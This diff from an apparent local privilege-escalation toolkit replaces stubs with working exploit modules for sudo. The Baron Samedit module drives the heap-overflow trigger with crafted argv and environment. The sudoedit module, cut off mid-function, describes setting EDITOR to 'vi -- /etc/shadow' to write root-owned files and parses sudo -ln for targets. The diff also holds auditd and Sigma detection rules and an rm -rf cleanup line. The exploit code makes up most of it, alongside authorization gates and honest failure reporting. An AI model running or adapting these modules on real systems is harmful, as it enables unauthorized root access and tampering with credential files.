/* --- detection rules ----------------------------------------------- */
|
||||
|
||||
static const char sequoia_auditd[] =
|
||||
"# Sequoia (CVE-2021-33909) — auditd detection rules\n"
|
||||
"# Trigger shape: mount(2) on /proc namespaces from a userns +\n"
|
||||
"# many many mkdir(2) calls in a tight loop with identical long\n"
|
||||
"# component names. Each individual call is benign — flag the\n"
|
||||
"# *combination*. The deeply-nested mkdir pattern is the strongest\n"
|
||||
"# signal: legitimate workloads don't recurse 5000 levels.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-sequoia-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mount -k skeletonkey-sequoia-mount\n"
|
||||
"-a always,exit -F arch=b64 -S mkdir -F success=1 -k skeletonkey-sequoia-mkdir\n"
|
||||
"-a always,exit -F arch=b64 -S mkdirat -F success=1 -k skeletonkey-sequoia-mkdir\n"
|
||||
"# Correlation hint: a process producing >1000 mkdir-key events\n"
|
||||
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
|
||||
"# the canonical trigger shape.\n";
|
||||
|
||||
const struct skeletonkey_module sequoia_module = {
|
||||
.name = "sequoia",
|
||||
.cve = "CVE-2021-33909",
|
||||
.summary = "seq_file size_t overflow → kernel stack write (Qualys Sequoia) — stub pending implementation",
|
||||
.summary = "seq_file size_t overflow → kernel stack OOB write (Qualys Sequoia) — primitive only",
|
||||
.family = "filesystem",
|
||||
.kernel_range = "K < 5.13.4 / 5.10.52 / 5.4.134",
|
||||
.detect = sequoia_detect,
|
||||
.exploit = NULL, .mitigate = NULL, .cleanup = NULL,
|
||||
.detect_auditd = NULL, .detect_sigma = NULL,
|
||||
.detect_yara = NULL, .detect_falco = NULL,
|
||||
.exploit = sequoia_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = sequoia_cleanup,
|
||||
.detect_auditd = sequoia_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sequoia(void) { skeletonkey_register(&sequoia_module); }
|
||||
void skeletonkey_register_sequoia(void)
|
||||
{
|
||||
skeletonkey_register(&sequoia_module);
|
||||
}
|
||||
|
||||
@@ -1,20 +1,479 @@
|
||||
/* sudo_samedit_cve_2021_3156 — STUB pending agent implementation. */
|
||||
/*
|
||||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
||||
*
|
||||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||||
* parser unescapes backslashes in the argv it copies into a heap
|
||||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
||||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
||||
* walks past the end of the argv string for arguments ending in a
|
||||
* lone backslash, copying adjacent stack/env contents into the
|
||||
* undersized heap buffer. The classic trigger is a single-argument
|
||||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
||||
*
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||||
* baron-samedit-heap-based-overflow-sudo.txt
|
||||
*
|
||||
* Detect: shell out to `sudo --version`, parse the printed version,
|
||||
* compare against the vulnerable range. We err on the side of
|
||||
* reporting OK only when we're confident — TEST_ERROR if the version
|
||||
* line is unparseable.
|
||||
*
|
||||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
||||
* The full chain in the original PoC required per-distro heap-layout
|
||||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
||||
* We do not have empirical landing on this host; we drive the
|
||||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
||||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
||||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- Affected-version logic ------------------------------------- */
|
||||
|
||||
/*
|
||||
* sudo version strings look like:
|
||||
* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.0"
|
||||
* "Sudo version 1.9.5p1"
|
||||
*
|
||||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
||||
* Fixed: 1.9.5p2 and later
|
||||
*
|
||||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
||||
* optional 'pN' suffix. Comparison is lexicographic over
|
||||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
||||
*/
|
||||
struct sudo_ver {
|
||||
int major;
|
||||
int minor;
|
||||
int patch;
|
||||
int p; /* 'p' suffix; 0 if absent */
|
||||
bool parsed;
|
||||
};
|
||||
|
||||
static struct sudo_ver parse_sudo_version(const char *s)
|
||||
{
|
||||
struct sudo_ver v = {0, 0, 0, 0, false};
|
||||
while (*s && !isdigit((unsigned char)*s)) s++;
|
||||
if (!*s) return v;
|
||||
|
||||
int maj = 0, min = 0, pat = 0;
|
||||
int consumed = 0;
|
||||
int n = sscanf(s, "%d.%d.%d%n", &maj, &min, &pat, &consumed);
|
||||
if (n < 2) return v;
|
||||
v.major = maj;
|
||||
v.minor = min;
|
||||
v.patch = (n >= 3) ? pat : 0;
|
||||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
||||
const char *tail = s + consumed;
|
||||
if (*tail == 'p') {
|
||||
int p = 0;
|
||||
if (sscanf(tail + 1, "%d", &p) == 1) v.p = p;
|
||||
}
|
||||
v.parsed = true;
|
||||
return v;
|
||||
}
|
||||
|
||||
static int cmp_ver(const struct sudo_ver *a, const struct sudo_ver *b)
|
||||
{
|
||||
if (a->major != b->major) return a->major - b->major;
|
||||
if (a->minor != b->minor) return a->minor - b->minor;
|
||||
if (a->patch != b->patch) return a->patch - b->patch;
|
||||
return a->p - b->p;
|
||||
}
|
||||
|
||||
/* Returns true iff parsed sudo version is in [1.8.2, 1.9.5p1]. */
|
||||
static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
||||
{
|
||||
if (!v->parsed) return false;
|
||||
struct sudo_ver lo = { 1, 8, 2, 0, true };
|
||||
struct sudo_ver hi = { 1, 9, 5, 1, true };
|
||||
return cmp_ver(v, &lo) >= 0 && cmp_ver(v, &hi) <= 0;
|
||||
}
|
||||
|
||||
/* ---- Binary discovery ------------------------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo",
|
||||
"/usr/local/bin/sudo",
|
||||
"/bin/sudo",
|
||||
"/sbin/sudo",
|
||||
"/usr/sbin/sudo",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit",
|
||||
"/usr/local/bin/sudoedit",
|
||||
"/bin/sudoedit",
|
||||
"/sbin/sudoedit",
|
||||
"/usr/sbin/sudoedit",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ---- Detect ------------------------------------------------------ */
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; }
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||
}
|
||||
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Trim newline for nicer logging. */
|
||||
char *nl = strchr(line, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
struct sudo_ver v = parse_sudo_version(line);
|
||||
if (!v.parsed) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_samedit: parsed version = %d.%d.%d",
|
||||
v.major, v.minor, v.patch);
|
||||
if (v.p) fprintf(stderr, "p%d", v.p);
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
bool vuln = sudo_version_vulnerable(&v);
|
||||
if (vuln) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: version is in vulnerable range "
|
||||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||||
"[i] sudo_samedit: distro backports may have patched "
|
||||
"without bumping the upstream version; check\n"
|
||||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
||||
"for CVE-2021-3156.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[+] sudo_samedit: version is outside vulnerable range "
|
||||
"(fix 1.9.5p2+) — OK\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit ----------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Qualys-style trigger:
|
||||
*
|
||||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
||||
* stretch the heap chunk to the right size for the target overlap.
|
||||
*
|
||||
* The original PoC sprays hundreds of large argv slots and tunes the
|
||||
* tail bytes per-distro to hijack a `service_user *` struct in
|
||||
* libnss-files. Without distro fingerprinting and the corresponding
|
||||
* offset table that landing simply will not happen here; rather than
|
||||
* pretending otherwise we drive the bug, fork a verifier that checks
|
||||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
||||
*/
|
||||
|
||||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
||||
* to stay well under typical ARG_MAX while still exercising the bug
|
||||
* shape. */
|
||||
#define SUDO_SAMEDIT_ARGC 64
|
||||
#define SUDO_SAMEDIT_PADLEN 0xff
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-detect before doing anything visible. Defends against the
|
||||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
||||
* between scan and pop. */
|
||||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
const char *sudoedit = find_sudoedit();
|
||||
if (!sudoedit) {
|
||||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
||||
const char *sudo = find_sudo();
|
||||
if (!sudo) {
|
||||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
sudoedit = sudo;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
||||
sudo);
|
||||
}
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
||||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
||||
" Without that tuning the bug crashes sudo instead of\n"
|
||||
" handing back a shell. We will drive the trigger and\n"
|
||||
" verify uid==0 outcome empirically; on failure we report\n"
|
||||
" EXPLOIT_FAIL rather than claiming success.\n");
|
||||
}
|
||||
|
||||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
||||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
||||
*
|
||||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
||||
* On a vulnerable target this drives the unescape loop past the
|
||||
* end of the heap buffer. */
|
||||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
||||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
||||
memset(padbufs, 0, sizeof padbufs);
|
||||
|
||||
argv[0] = (char *)"sudoedit";
|
||||
argv[1] = (char *)"-s";
|
||||
/* argv[2] is the canonical trailing-backslash trigger. */
|
||||
argv[2] = strdup("\\");
|
||||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
||||
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
||||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
||||
if (!buf) {
|
||||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
||||
free(argv[2]);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
||||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
||||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
||||
padbufs[i] = buf;
|
||||
argv[i] = buf;
|
||||
}
|
||||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
||||
|
||||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
||||
* that landed the overlap on the canonical distro PoCs. These
|
||||
* are harmless if landing fails; their value is positioning the
|
||||
* heap so the overflow lands on a useful target. */
|
||||
char *envp[] = {
|
||||
(char *)"LC_ALL=C.UTF-8@",
|
||||
(char *)"TZ=:",
|
||||
(char *)"LC_CTYPE=C.UTF-8@",
|
||||
(char *)"SUDO_EDITOR=A",
|
||||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
||||
sudoedit);
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* Child: drive the trigger. If the bug lands and we get a
|
||||
* root context, the chain in the original PoC then re-execs
|
||||
* a shell. We don't ship that shell-spawn here — we just
|
||||
* exit nonzero so the parent's verifier can sample uid. */
|
||||
execve(sudoedit, argv, envp);
|
||||
/* execve failed (binary missing or kernel-blocked). */
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
/* Verifier: even on the rare "no crash" path, we don't know if
|
||||
* the bug landed without spawning a privileged helper. Per the
|
||||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
||||
* post-trigger probe (which would require the chain to have
|
||||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
||||
}
|
||||
/* Leak the buffers; we're about to exec a shell anyway. */
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child died on signal %d "
|
||||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
||||
" but landing did not produce a root shell. Per-distro\n"
|
||||
" offset tuning required.\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
||||
" crash sudo; the host is most likely patched at the\n"
|
||||
" parser level even though the version string was in\n"
|
||||
" range. Reporting EXPLOIT_FAIL.\n",
|
||||
WEXITSTATUS(status));
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort free. */
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
||||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
||||
/* harmless — likely no files matched */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char sudo_samedit_auditd[] =
|
||||
"# Baron Samedit (CVE-2021-3156) — auditd detection rules\n"
|
||||
"# Flag sudoedit invocations carrying the canonical -s flag and\n"
|
||||
"# the trailing-backslash trigger pattern.\n"
|
||||
"-w /usr/bin/sudoedit -p x -k skeletonkey-samedit\n"
|
||||
"-w /usr/bin/sudo -p x -k skeletonkey-samedit-sudo\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n";
|
||||
|
||||
static const char sudo_samedit_sigma[] =
|
||||
"title: Possible Baron Samedit exploitation (CVE-2021-3156)\n"
|
||||
"id: 3f7c5a2e-skeletonkey-samedit\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||||
" the canonical Qualys trigger for the heap overflow in\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
||||
"logsource:\n"
|
||||
" product: linux\n"
|
||||
" service: auditd\n"
|
||||
"detection:\n"
|
||||
" sudoedit_exec:\n"
|
||||
" type: 'EXECVE'\n"
|
||||
" exe|endswith:\n"
|
||||
" - '/sudoedit'\n"
|
||||
" - '/sudo'\n"
|
||||
" shell_edit_flag:\n"
|
||||
" CommandLine|contains: ' -s '\n"
|
||||
" trailing_backslash:\n"
|
||||
" CommandLine|re: '\\\\\\\\\\s*$'\n"
|
||||
" argv0_sudoedit:\n"
|
||||
" argv0|endswith: 'sudoedit'\n"
|
||||
" condition: sudoedit_exec and shell_edit_flag and (trailing_backslash or argv0_sudoedit)\n"
|
||||
"fields:\n"
|
||||
" - exe\n"
|
||||
" - argv\n"
|
||||
"level: high\n"
|
||||
"tags:\n"
|
||||
" - attack.privilege_escalation\n"
|
||||
" - attack.t1068\n"
|
||||
" - cve.2021.3156\n";
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
.summary = "sudo Baron Samedit heap overflow (Qualys) — stub pending implementation",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "sudo 1.8.2 ≤ V ≤ 1.9.5p1 (userspace)",
|
||||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||||
.detect = sudo_samedit_detect,
|
||||
.exploit = NULL, .mitigate = NULL, .cleanup = NULL,
|
||||
.detect_auditd = NULL, .detect_sigma = NULL,
|
||||
.detect_yara = NULL, .detect_falco = NULL,
|
||||
.exploit = sudo_samedit_exploit,
|
||||
.mitigate = NULL, /* mitigation = upgrade sudo to 1.9.5p2+ */
|
||||
.cleanup = sudo_samedit_cleanup,
|
||||
.detect_auditd = sudo_samedit_auditd,
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||
|
||||
@@ -1,20 +1,632 @@
|
||||
/* sudoedit_editor_cve_2023_22809 — STUB pending agent implementation. */
|
||||
/*
|
||||
* sudoedit_editor_cve_2023_22809 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race window —
|
||||
* just a logic bug in sudoedit's EDITOR/VISUAL/SUDO_EDITOR argv parser.
|
||||
*
|
||||
* The bug (Synacktiv, Jan 2023):
|
||||
* sudoedit splits the user's $EDITOR (or $VISUAL / $SUDO_EDITOR) on
|
||||
* the literal token `--` to separate editor-flags from the filename(s)
|
||||
* sudoedit will pass. The intended semantics are "everything before
|
||||
* `--` is editor argv; everything after is *the* target filename that
|
||||
* sudoers authorized." The bug: sudo never re-validates that the
|
||||
* post-`--` filename equals the filename it auth'd. By setting
|
||||
*
|
||||
* EDITOR='vi -- /etc/shadow'
|
||||
*
|
||||
* and running `sudoedit /some/allowed/path`, the editor child is
|
||||
* spawned as root with BOTH /some/allowed/path AND /etc/shadow on its
|
||||
* command line — sudoedit opened both for us. The editor then writes
|
||||
* to /etc/shadow as root.
|
||||
*
|
||||
* Affects: sudo 1.8.0 ≤ V < 1.9.12p2.
|
||||
*
|
||||
* This is the second sudo module in SKELETONKEY (sudo_samedit is the
|
||||
* first; both share family="sudo"). Unlike Baron Samedit (heap layout
|
||||
* dependent), this one is offset-free — if sudoedit is in your path
|
||||
* and you have *any* sudoedit privilege at all, you write any file.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ----- helpers ------------------------------------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit", "/usr/sbin/sudoedit", "/bin/sudoedit",
|
||||
"/sbin/sudoedit", "/usr/local/bin/sudoedit", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
/* sudoedit is normally a symlink to sudo and inherits setuid
|
||||
* via the underlying file; lstat-then-stat handles both. */
|
||||
if (stat(candidates[i], &st) == 0)
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true if version string is in the vulnerable range
|
||||
* [1.8.0, 1.9.12p2). Format examples:
|
||||
* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.13" (fixed)
|
||||
* "Sudo version 1.9.12p2" (fixed — fix landed in this release)
|
||||
* On parse failure we conservatively assume vulnerable. */
|
||||
static bool sudo_version_vulnerable(const char *version_str)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
/* sudo versions: 1.9.12p2 → maj=1 min=9 patch=12 ptag='p' psub=2 */
|
||||
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||
&maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
|
||||
/* < 1.8.0: not vulnerable (predates the bug) */
|
||||
if (maj < 1) return false;
|
||||
if (maj == 1 && min < 8) return false;
|
||||
|
||||
/* ≥ 1.9.13: fixed */
|
||||
if (maj > 1) return false;
|
||||
if (min > 9) return false;
|
||||
if (min == 9 && patch > 12) return false;
|
||||
|
||||
/* exactly 1.9.12: vulnerable if no patch tag or patch < 2 */
|
||||
if (min == 9 && patch == 12) {
|
||||
if (ptag != 'p') return true; /* 1.9.12 plain */
|
||||
return psub < 2; /* 1.9.12p1 vulnerable, 1.9.12p2 fixed */
|
||||
}
|
||||
/* everything 1.8.x and 1.9.x where x ≤ 11: vulnerable */
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Run `sudo --version` and return the version token (caller-owned
|
||||
* buffer). Returns true on success. */
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
|
||||
/* "Sudo version 1.9.5p2\n" — skip to digits. */
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* Parse `sudo -ln` (list, no password) and return one allowed
|
||||
* sudoedit target if any. Output snippet looks like:
|
||||
*
|
||||
* User kara may run the following commands on host:
|
||||
* (root) NOPASSWD: sudoedit /etc/motd
|
||||
* (root) NOPASSWD: /usr/bin/less /var/log/syslog
|
||||
*
|
||||
* We look for a line containing 'sudoedit ' and extract the first
|
||||
* pathlike token after it. If `sudo -ln` itself prompts for a password
|
||||
* or fails, we treat it as "unknown" (PRECOND_FAIL signal). */
|
||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n: non-interactive (no password prompt); -l: list. */
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
char line[1024];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
/* sudoedit appears either as the canonical command name or
|
||||
* as 'sudo -e'. Handle both. */
|
||||
char *needle = strstr(line, "sudoedit ");
|
||||
if (!needle) needle = strstr(line, "sudo -e ");
|
||||
if (!needle) continue;
|
||||
char *path = strchr(needle, '/');
|
||||
if (!path) continue;
|
||||
/* trim trailing whitespace / newline / comma */
|
||||
char *end = path;
|
||||
while (*end && *end != ' ' && *end != '\t' && *end != '\n'
|
||||
&& *end != ',' && *end != ':') end++;
|
||||
size_t len = (size_t)(end - path);
|
||||
if (len == 0 || len >= outsz) continue;
|
||||
memcpy(out, path, len);
|
||||
out[len] = 0;
|
||||
/* Skip glob/wildcard entries — we can't write a literal path
|
||||
* for those without more work. The user's environment may
|
||||
* still allow them; we just prefer non-glob entries. */
|
||||
if (strchr(out, '*') || strchr(out, '?')) {
|
||||
